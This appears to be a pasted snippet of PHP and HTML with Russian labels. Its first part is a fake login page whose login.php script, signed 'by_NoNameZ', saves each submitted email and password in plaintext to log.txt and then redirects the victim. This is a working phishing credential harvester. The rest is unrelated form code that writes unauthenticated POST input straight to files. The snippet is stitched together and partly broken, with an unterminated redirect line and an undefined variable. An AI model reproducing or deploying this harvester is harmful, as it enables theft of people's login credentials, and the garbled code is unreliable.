<form method="post" name="login" id="login" action="login.php"> Логин<br> <input class="inputText" type="text" name="email" value="" id="email" size="25" /><br> Пароль<br> <input class="inputText" type="password" name="pass" value="" id="pass" size="25" /> <div class="button_blue button_wide"><button onclick="location.href='javascript:document.login.submit()'">Войти</button></div>
<?php /* ############# #by_NoNameZ# ########### */ $f=fopen("log.txt","at"); flock($f,2); if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i", $_POST['email'])&& !empty($_POST['pass'])){ fputs($f, $_POST['email'].";".$_POST['pass']." \n"); header("Location: ********** } else { header("Location: bad.htm"); } flock($f,3); fclose($f); ?>
<?php $a = @readfile ("txtdatax/cvonline/file.txt"); if (!$a) echo "<center>Пользователь ничего не указал</center>"; else echo $n; ?> <?php if($_POST['post']){ $fp=fopen("txtdatax/cvonline/file.txt","w"); fwrite($fp,$_POST['post']); fclose($fp); }else{} ?> <form name="customize" enctype="multipart/form-data" method="POST"> <textarea cols="75" rows="8" name="post"> <?php $a = @readfile ("txtdatax/cvonline/file.txt"); if (!$a) echo "Пользователь ничего не указал"; else echo $n; ?> </textarea> <br><input name="test" type="submit" value="Изменить"> <?php if($_POST['post2']){ $fp=fopen("txtdatax/cvonline/file2.txt","w"); fwrite($fp,$_POST['post2']); fclose($fp); }else{} ?> <form name="customize" enctype="multipart/form-data" method="POST"> <textarea cols="75" rows="8" name="post2"> <?php $a = @readfile ("txtdatax/cvonline/file2.txt"); if (!$a) echo "Пользователь ничего не указал"; else echo $n; ?> </textarea> <br><input name="test" type="submit" value="Изменить"> </form>